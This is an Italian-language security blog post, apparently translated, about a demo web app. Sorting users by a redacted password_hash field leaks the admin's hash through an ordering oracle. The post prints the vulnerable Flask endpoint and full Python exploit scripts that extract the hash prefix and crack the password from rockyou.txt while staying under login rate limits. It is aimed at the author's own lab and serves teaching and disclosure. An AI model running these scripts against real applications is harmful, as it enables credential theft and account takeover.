Ordinare la tua strada per le password rubate

May 09 2023
Introduzione Di recente mi sono imbattuto in una vulnerabilità unica che mi ha permesso di eseguire l'estrazione dell'hash della password, anche se sembrava che i dati fossero stati oscurati correttamente. Per dimostrare le implicazioni pratiche di questa vulnerabilità, ho sviluppato uno script che utilizzava un metodo di confronto carattere per carattere, costruendo gradualmente l'hash della password dell'amministratore ordinando gli utenti e osservando le loro posizioni.
Cracking di un hash della password dell'amministratore SHA256

introduzione

Di recente mi sono imbattuto in una vulnerabilità unica che mi ha permesso di eseguire l'estrazione dell'hash della password, anche se sembrava che i dati fossero stati redatti correttamente.

Per dimostrare le implicazioni pratiche di questa vulnerabilità, ho sviluppato uno script che utilizzava un metodo di confronto carattere per carattere, costruendo gradualmente l'hash della password dell'amministratore ordinando gli utenti e osservando le loro posizioni. Questo approccio, sebbene dispendioso in termini di tempo, rappresentava un'opportunità unica per decifrare gli hash delle password SHA256 senza ricorrere alle tradizionali tecniche di forza bruta.

Esplorare l'applicazione Web

Per illustrare questa vulnerabilità, ho creato un'applicazione web demo che simula questo difetto di sicurezza. Questa demo è dockerizzata e può essere scaricata qui se vuoi provarla sul tuo computer. L'applicazione web ha questo aspetto:

Sito dimostrativo

L'applicazione è di base, costituita da una tabella utenti con opzioni per ordinare, aggiungere un nuovo utente ed eliminare tutti gli utenti. In uno scenario reale, questa funzionalità sarebbe probabilmente più avanzata e protetta dall'autenticazione.

Trovare il bug

Durante l'esecuzione della mia metodologia standard di sicurezza delle applicazioni Web, ho notato qualcosa di interessante quando si trattava della tabella degli utenti. Utilizzando Burp Suite, sono stato in grado di vedere che c'era una richiesta inviata quando ho visualizzato la pagina index.html che ordinava gli utenti nella tabella:

Ora, questo non era qualcosa di particolarmente fuori dall'ordinario, ma dopo aver provato diversi modi per ordinare la colonna, ho scoperto che le posizioni degli utenti stavano cambiando quando ho ordinato per password_hash !

Questo è stato piuttosto strano, poiché nello screenshot sopra tutti gli hash sono REDATTI , quindi non dovrebbero cambiare posizione durante l'ordinamento in base a quel campo ??

Per capire perché questo stava accadendo, ho fatto alcune analisi sul codice e ho trovato questo:

# Getting users for the table on index.html
@app.route('/users')
def get_users():
    sort_col = request.args.get('sort_col', default='id')
    sort_order = request.args.get('sort_order', default='asc')

    sorted_users = sorted(
        users, key=lambda u: u[sort_col], reverse=(sort_order == 'dec'))

    redacted_users = []
    for user in sorted_users:
        redacted_user = user.copy()
        redacted_user['password_hash'] = 'REDACTED'
        redacted_users.append(redacted_user)

    return jsonify(redacted_users)

In teoria, se conosciamo o possiamo indovinare il meccanismo di hashing della password (di solito SHA256, MD5 o bcrypt), potremmo creare un nuovo utente, con una password in cui sappiamo qual è l'hash, e usarlo per ordinare gli utenti per determinare la password dell'utente admin.

Nel diagramma sopra, la password dell'amministratore è ciambella che ha un hash SHA256 di 2f63371bea3c61d9fdba4469984bd22f2cc2381d23e031634f0387bdd97bd28f .
Il mio obiettivo è restituire l'utente amministratore nell'elenco, prima di me. Quando ciò accade, so che il mio hash inizia con un valore prima degli amministratori. Quindi, nel caso precedente, il mio hash è inferiore agli amministratori, quindi restituisce [me, admin].

In questo diagramma, ho aggiornato la mia password a 72yY2GEp41 che ha prodotto un hash SHA256 di 240ba23967c8a19f98e7315b1198b1aebd203836435c5f0d03dbfd84d11853db . Quando eseguo la funzione check() , sono ancora il primo della lista. Tuttavia, la funzione sta convalidando che i primi caratteri sono gli stessi "2" == "2", quindi controlla il carattere successivo "f" > "4", che restituirebbe prima il mio hash.

Infine, quando l'hash della mia password inizia con il carattere "3", che è maggiore dell'hash della password dell'amministratore che inizia con un "2". Pertanto, l'amministratore ritorna per primo nell'elenco e possiamo determinare che l'hash della password dell'amministratore ha un "2" nello slot index[0] ! Abbastanza bello vero! Ora trasformiamo questa teoria in codice.

Trasformare la teoria in codice

Il mio approccio a questo problema è piuttosto lento, quindi se conosci un modo più efficiente per farlo, per favore commenta e fammi sapere!

Il processo che ho seguito per estrarre l'hash della password dell'amministratore è il seguente:

  1. Scrivere alcune funzioni per creare un nuovo utente con una password di mia scelta, cancellare la tabella degli utenti e ordinare gli utenti. Il codice che ho creato per questo è il seguente:
  2. domain = "lab.prodefense.io"
    def create_user(email='[email protected]', name='matt', password='hackyhack'):
        url = f"http://{domain}/users"
        json = {"email": email, "name": name, "password": password}
        requests.post(url, json=json)
    
    
    def clear_users():
        url = f"http://{domain}/users"
        requests.delete(url)
    
    
    def sort_users(direction='asc'):
        url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
        r = requests.get(url)
        return r.text
    

    Copia come estensione python-requests Burp Suite

2. Successivamente, ho creato una funzione chiamata check() per vedere se la risposta json dalla funzione sort_users() sta restituendo la tabella degli utenti con l' utente admin primo nell'elenco o secondo :

def check():
    users = json.loads(sort_users())
    return users[0]['id'] == 1

3. Ora dovevo essere in grado di trovare un hash SHA256 che iniziava con un prefisso e restituire sia la stringa utilizzata per generare quell'hash sia l'hash stesso.
Ad esempio, se so che il mio admin_hash è: 8c 6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

Quindi quello che devo fare è creare un hash che posso usare per ordinarlo. Quindi my_hash potrebbe essere simile a: 87 227afead5d3d1a5b89bf07a673510114b1d98d473d43e0ff7e3b230032311e . L'idea qui è che poiché posso ordinare il database, posso determinare se admin_hash è ascendente o discendente rispetto a my_hash. Quindi 8c6976e... verrebbe visualizzato prima di 87227af... perché gli 8 sono uguali ma "c" viene prima di " 7" se il mio ordinamento è per valori decrescenti. Hai capito?

Ora tutto quello che devo fare è andare carattere per carattere, creando hash con un prefisso fino a quando non ho sia la password in testo normale degli amministratori, sia il loro hash. Per fare ciò il mio codice era simile a questo:

def gen_hash(prefix):
    while True:
        random_string = ''.join(random.choices(
            string.ascii_letters + string.digits, k=10))
        sha256_hash = hashlib.sha256(random_string.encode()).hexdigest()
        if sha256_hash.startswith(prefix):
            return random_string, sha256_hash

4. Una volta che questa funzione funzionava, l'ultima cosa di cui avevo bisogno era la logica per sfocare carattere per carattere finché non ottenevo un hash che corrispondesse agli amministratori! Per fare questo il mio codice sembrava:

if __name__ == '__main__':
    # SHA256 hashes can only have 0-9, a-f which limits our bank significantly. 
    bank = '0123456789abcdef'
    value = []
    # 64 chars is the length of a SHA256 hash
    while len(value) <= 64:
        found_match = False
        for char in bank:
            # Sends the POST request to clear all users but admin
            clear_users()
            # Ill talk about the 'ff' below :sad-doge:
            rand_string, hash = gen_hash("".join(value) + char + 'ff')
            # Creates a new user, with the random string that has our prefix
            create_user(password=rand_string)
            # Checking to see if admin comes first or second in the table
            if check():
                value.append(char)
                found_match = True
                break
            # Adds some animation because who likes boring CLIs
            print(f"[!] ADMIN HASH: {''.join(value)}{char}", end='\r')
            time.sleep(0.1)
        if not found_match:
            value.append('0' if not value else 'f')

    print("\n[!] FINAL ADMIN HASH: " + ''.join(value))

Nel complesso, se metti insieme tutto quel codice dovresti vedere qualcosa come la GIF qui sotto nella tua console:

Puoi vedere nella GIF che sto ricevendo solo pochi caratteri e poi inizia a rallentare davvero. Questo perché stiamo letteralmente forzando la password degli utenti admin. Questa è una grande limitazione e probabilmente richiederebbe all'attaccante di dedicare molto tempo alla generazione di password. L'unica differenza tra questo e un bruteforce generico è che la limitazione è dovuta alla potenza di calcolo del tuo computer. La ricerca di hash che iniziano con più di 5 caratteri richiede molto tempo, a meno che non si calcolino in anticipo gli hash o si disponga di una grande tabella arcobaleno da cui cercare. Nel complesso, ottenere una forza bruta completa come questa richiederebbe probabilmente circa 500 richieste al server e richiederebbe di generare una tonnellata di stringhe per ottenere il valore hash corretto.

Non la tua tipica forza bruta

L'applicazione demo ha incorporato la limitazione della velocità con 200 richieste/ora sugli endpoint principali e 20 richieste/ora sull'endpoint di accesso. Con questo in mente, un attacco di forza bruta richiederebbe probabilmente milioni se non miliardi di richieste per indovinare la password. Ma se ti dicessi che potremmo farlo con meno di 200 richieste? Analizziamo come funzionerebbe.

Simile all'approccio che ho adottato con il primo script solve.py, in questo approccio assumeremo che la password sia stata scelta casualmente da rockyou.txt . Ora questo è un po 'imbrogliare, ma rockyou.txt ha 14.344.394 (14 milioni) di password nell'elenco. Dovremo "indovinare" la password nella richiesta inferiore a 200 per evitare il rilevamento e il limite di velocità. Iniziamo.

  1. Simile al primo script solve.py, userò le stesse funzioni che interagiscono con l'applicazione web ma creerò anche una funzione di login:
  2. domain = "lab.prodefense.io"
    def create_user(email='[email protected]', name='matt', password='hackyhack'):
        url = f"http://{domain}/users"
        json = {"email": email, "name": name, "password": password}
        requests.post(url, json=json)
    
    
    def clear_users():
        url = f"http://{domain}/users"
        requests.delete(url)
    
    
    def sort_users(direction='asc'):
        url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
        r = requests.get(url)
        return r.text
    
    
    def login(username, password):
        url = f"http://{domain}/login"
        json = {"username": username, "password": password}
        r = requests.post(url, json=json)
        return r.status_code
    

import hashlib

with open('rockyou.txt', 'r', encoding='utf-8') as input_file:
    with open('combined.txt', 'w') as output_file:
        for line in input_file:
            line = line.strip()
            hashed_line = hashlib.sha256(line.encode()).hexdigest()
            output_file.write(f'{hashed_line},{line}\n')

print('Conversion completed. Check combined.txt file.')

hash password rockyou.txt in SHA256, formato password

2. Ora avevo bisogno di scrivere una funzione che potesse agire in modo simile alla mia funzione gen_hash(prefix) , ma di scansionare il nostro nuovo file combined.txt per trovare hash che potessero essere l'hash della password dell'utente in base al prefisso . Scommetto che vedi dove sto andando con questo ora :)

def find_hashes(prefix):
    hashes = []
    passwords = []
    with open('combined.txt', 'r', errors='replace') as file:
        for line in file:
            line = line.strip()
            if line.startswith(prefix):
                values = line.split(',')
                if len(values) == 2:
                    sha256, password = values
                    hashes.append(sha256)
                    passwords.append(password)

    return hashes, passwords

3. La pagina /login consente solo 20 richieste/ora. Detto questo, avevo bisogno di ottenere il mio valore di prefisso abbastanza lungo da poter chiamare la funzione find_hashes() e fargli restituire 20 (o meno) password che iniziano con un dato valore di prefisso.

Possible password hashes (notice they all start with the prefix):

hash_prefix: "b60d9"
     055555:b60d92f92101e5210a530631ec3ad59c32ecdc3fd3ab75ac1291cedcaf6fee77
  cordelius:b60d914e40a9572820f571d8cf38e8425742a8a1cd6c5586f35a6c7e73e39dcf
    terfase:b60d920aa0cabdbdcf7447632bcdb9456a35c4378db17137066aee36d3aeea12
     obolku:b60d9db875658b618b27f0a2d4c869628a9f937ea6c1a0172d4a6acc2f219846
escuelapan2:b60d9852d3325c01b7556719dd1e9b684017b8306fc1902eb9e6298250459735
...etc...

def bruteforce(password_list):
    for pwd in password_list:
        if login('admin', pwd) == 200:
            print(
                f"[!] ADMIN PASSWORD: {colored(pwd, 'green')}")
    sys.exit(0)

if __name__ == '__main__':
    api_call_count = 0
    prefix = ""
    bank = '0123456789abcdef'
    for i in range(10):
        found_match = False
        for char in bank:
            clear_users()
            pwd, hash_value = gen_hash(prefix+char+'f')
            create_user(password=pwd)
            api_call_count += 3
            if check():
                found_match = True
                prefix += char
                tmp_hashes, tmp_passwords = find_hashes(prefix)
                if (len(tmp_hashes) < 20):
                    print(
                        f"[!] PARTIAL ADMIN HASH: {colored(prefix, 'green')}")
                    bruteforce(tmp_passwords)
                break
            print(
                f"[!] FINDING HASH: {prefix}{colored(char, 'red')}   -   [INFO] API Calls Sent: {api_call_count}/200'", end='\r')
            time.sleep(0.2)
        if not found_match:
            hash += 'f' if hash else '0'

Cracking di una password casuale da rockyou.txt con 87 richieste

Questo script solve.py impiega 2m 30s e utilizza 87 richieste. L'hash della password è completamente casuale nell'elenco di parole rockyou.txt che contiene 14.344.394 (14 milioni) di password.

Conclusione

Anche se la mia applicazione web demo potrebbe non aver vinto alcun premio per "l'app Web più sicura dell'anno", mostra certamente quanto possano essere unici alcuni bug e perché chatGPT non accetterà il mio lavoro a breve.

Scherzi a parte, questa vulnerabilità che consente agli aggressori di individuare le password rubate fa luce sui potenziali rischi in agguato all'interno di funzionalità apparentemente innocue. Attraverso un'analisi approfondita e un approccio intelligente, gli aggressori possono estrarre gli hash delle password da un'applicazione Web vulnerabile se non prestano attenzione.

Nota: se ti piace questo post del blog e vuoi provare a creare il tuo script di soluzione, ho creato un contenitore docker che genera in modo casuale la password dell'amministratore che può essere scaricata qui . Buon Hacking!